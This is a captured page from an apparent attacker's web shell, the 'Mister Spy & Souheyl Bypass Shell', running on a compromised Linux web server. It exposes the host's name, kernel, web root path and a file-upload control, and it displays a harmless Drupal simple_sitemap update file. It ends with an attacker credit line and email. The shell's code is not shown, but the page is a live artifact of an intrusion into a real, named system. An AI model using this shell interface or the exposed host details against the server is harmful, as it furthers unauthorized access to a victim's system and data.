Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/html/strat/web/modules/contrib/simple_sitemap/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/html/strat/web/modules/contrib/simple_sitemap/simple_sitemap.post_update.php

<?php

/**
 * @file
 * Post update functions for the Simple XML Sitemap module.
 */

use Symfony\Component\Yaml\Yaml;

/**
 * Prevent config:import from deleting and recreating configs created through update hooks.
 *
 * @see https://www.drupal.org/project/simple_sitemap/issues/3236623
 */
function simple_sitemap_post_update_8403(&$sandbox) {
  $config_factory = \Drupal::configFactory();
  $settings = Drupal::service('settings');

  foreach (['simple_sitemap.sitemap.', 'simple_sitemap.type.'] as $config_prefix) {
    foreach ($config_factory->listAll($config_prefix) as $config) {
      $data = Yaml::parse(@file_get_contents($settings->get('config_sync_directory') . '/' . $config . '.yml'));
      if ($data && $data['uuid']) {
        $config_factory->getEditable($config)->set('uuid', $data['uuid'])->save(TRUE);
      }
    }
  }
}

/**
 * Clear cache as service definitions changed.
 *
 * @see https://www.drupal.org/project/simple_sitemap/issues/3444946
 */
function simple_sitemap_post_update_8404(?array &$sandbox = NULL): void {
}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net